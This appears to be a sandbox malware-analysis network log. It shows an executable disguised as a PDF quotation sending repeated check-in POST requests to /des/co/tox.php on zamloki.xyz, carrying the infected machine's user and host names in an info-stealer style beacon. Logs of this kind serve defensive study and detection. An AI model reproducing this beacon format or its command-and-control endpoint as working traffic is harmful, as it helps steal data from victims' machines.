Aug 4, 2021 13:55:53.585954905 CEST	1411	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:53.604326010 CEST	1411	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:53.836869001 CEST	1412	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U9y2YLevB32WDabGn%2FkKA3qG%2F2m23nz2ueWBxn0Pd2iTQZ8ZwX%2F1%2BIBVkKyUY69kvG0%2F89huiDKKiZp5KnCt%2BMDewUwZICSh2srSHfLqj7s9j5%2FSmFAGBrEBL3X9hA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797996bf8092c36-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49766	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:21.951267958 CEST	1689	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:21.968465090 CEST	1831	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:22.203460932 CEST	3166	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FjKpDqkphcXWByAhHOq4Wj5Hx5kD8cQb%2FdrngdeZOmefsWCsHnjpHok9APPBaUgXvHXFUmqJoWq4iMA8dkXbqRlB214JMJZGKjoYlUgB4vBqFLPvKqnTcN0j4v6Rew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a1d39b0c295-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49767	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:22.609944105 CEST	4530	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:22.626900911 CEST	4530	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:22.877135992 CEST	4531	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hOXOq9SKtJMrvcz88LiIpxQgTBb74c4H0LaGBzDy%2FIbgP1km39Xv%2BO4nIFSR%2FPkQVa%2FJZdnNZ9afDeo9tcYok4EEhoLeeR4YW%2FFsFTb2H1ErtctoBDViB5NiIskTgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a215b974e56-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49768	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:23.116600990 CEST	4532	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:23.133416891 CEST	4532	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:23.422662020 CEST	6000	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zIsQduV31U6gM9XCif%2B7bCGPbKrmFVF58DuZta6UdO3beLpQJ9S0IOk53RRxNxeCD7DVlvjsx9fpqZgAa%2B%2F%2FvENxj1puOQYyhWBzjaROgnz3mOesRL%2BUjCMOUBdWSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a24886d4e1f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49769	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:23.660211086 CEST	6001	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:23.677618980 CEST	6001	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:23.918704033 CEST	6002	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9YxdD%2B3Je1we2k%2FdrCEptqg6n6RV%2FO%2FqDKbNJX%2Fodh1GJ8RSxPkD4VXGIqdE6xSVCK9eJajEbj8maiiqQO5aIpKGzGCIiwRo7nwhVTiV7b%2FV0NQNP6p1e6xP7%2F0QuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a27ef2c4aaf-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49770	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:24.178185940 CEST	6003	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:24.198090076 CEST	6003	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:24.437087059 CEST	6004	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nGfKg2lwaASyoRsNr%2BlJd0KBNmVUjkBz6xq6wva6bZBnpfqYD8LSGs3Y1eWz8RcwadGkOgww3ah3kLdMA6%2B7dTBUODW%2Bbmm8FfD1zAGZwP%2Fd4LbHGnVFAf2mL7hp9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a2b2981d6c5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49771	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:24.689471006 CEST	6005	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:24.708507061 CEST	6005	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:25.014347076 CEST	6006	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=i6Sl9%2F6SZEIk8noAIxsamZbjpg3VWBWuhD3v8pcqU0%2FSiAwQcHLImg5CKcM8DbbNN5yJtiIo%2BrxTMuIqfZIuS%2Fm%2F924nwMcjMnCBs0hNSH%2FVn7i5F%2FvnEtHCYOOCsg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a2e5de54ab0-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49772	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:25.242125034 CEST	6007	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:25.259227037 CEST	6007	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:25.520663023 CEST	6008	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a84BzNt3lkgQdXEfbaQkF%2FzyVQUBTbdGCLDOL4MpsfT8OQlhJyhU%2BFym8fT2h9owkXItzvNH5TfucbFIeHnGYqfv%2BbZL%2Fh6SMEonwtKGSb%2FGXsuWM6z4WwLzkC%2F%2BRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a31ca40c2d1-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49773	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:25.754838943 CEST	6009	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:25.772025108 CEST	6009	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:26.013890028 CEST	6010	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UtZv873DN4rLAz9BBH%2BsBE1x6ph%2B%2FZsrm5gHqKnOBkHUyWr6xq9YfiAJBwBIy5RHcT7D7GbiCOe1dNOsP%2BjLsNFxjXEsufCpM61CtOKcp1Uj2srXrVAc8J%2BPDTDqGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a35086105d8-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49774	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:26.261594057 CEST	6011	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:26.278593063 CEST	6011	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:26.512943029 CEST	6012	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EVU6aHmzSsb0jzFc8pHH9zZa8hPKZJp%2BymrByjtBWm6CqtEQW8BHh4BxjoGwkZBuaCDxwXqr6B0lvU9UCADU6HknckTNQSLzzG54D%2FyhCd%2FpNIYceEfl3IGiCsH68A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a3828ab42d5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49775	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:26.757570028 CEST	6012	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:26.776340008 CEST	6013	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:27.035095930 CEST	6014	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A7vO53ZFi7BeJ11gyOCNgFVcBdhMvQf30nXWDpkXgp2t9jzehD5yVr4xnv381%2B%2BOhkohEb49OG24bCPvvJlgS7ZwpZc1uv8F%2FCgIp%2BopzRtZUfLcKVEQNIbEPfKieA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a3b4fca4e1a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49718	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:54.118803978 CEST	1412	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:54.136785984 CEST	1413	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:54.377213001 CEST	1413	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=krFG6GHDAWfxvzWRGIfdHXPyBkA16j1acZ5vesGBOjIJQgliAwB3c%2F3sUkHcP3RsCKaineKJcMMWnITWBT572OdpA64PPUhxV1Q4kFVtvZjiHqTavuaABgzyQu4T7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797996f4a844a61-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Aug 4, 2021 13:55:54.377247095 CEST	1413	IN	Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49776	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:27.272517920 CEST	6014	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:27.289757967 CEST	6015	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:27.560842991 CEST	6015	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=p7Ka2%2FHbpJoHIJajKUjwGW5dV3WxU0bxlpBz12YgQLGxuTLoHMzIt1wbX9RXhLBBlFyeuTw9nzWL%2Bo5Mo1bU65FuNK9mEtHqk31Pm1UPBDLEugRK%2BhpOUbFmsx%2BN9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a3e88a5dfcb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49777	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:27.806679010 CEST	6016	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:27.823874950 CEST	6017	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:28.063779116 CEST	6017	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lqvGpgMomvEVtlYRs7SF1%2BlE4Oc4FNzrYgGl7hx3LgJWjoWydUmCheV5LgoiiDmGBQC0ddcapfolZJDoUj4KYnD%2Bc49eGhVrFSCutBuCWELCn3t1WMLHz218TZJOxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979a41df3905bb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49778	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:28.303980112 CEST	6018	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:28.322971106 CEST	6018	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
